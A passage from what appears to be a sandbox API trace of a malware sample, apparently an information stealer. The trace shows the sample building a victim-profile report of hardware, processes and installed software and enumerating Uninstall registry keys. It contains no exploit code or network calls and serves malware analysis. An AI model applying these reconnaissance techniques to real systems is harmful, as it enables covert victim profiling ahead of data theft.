[4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001"
[0054.948] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]"
[0054.948] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n"
[0054.948] RegCloseKey (hKey=0x514) returned 0x0
[0054.948] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xc, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.948] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 67
[0054.948] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.948] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.949] RegCloseKey (hKey=0x514) returned 0x0
[0054.949] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xd, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.949] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned 55
[0054.949] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.949] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.949] RegCloseKey (hKey=0x514) returned 0x0
[0054.949] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xe, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{0FA68574-690B-4B00-89AA-B28946231449}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.949] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}") returned 90
[0054.949] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{0FA68574-690B-4B00-89AA-B28946231449}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.949] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508", lpcbData=0x1816c0*=0x3f) returned 0x0
[0054.949] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe 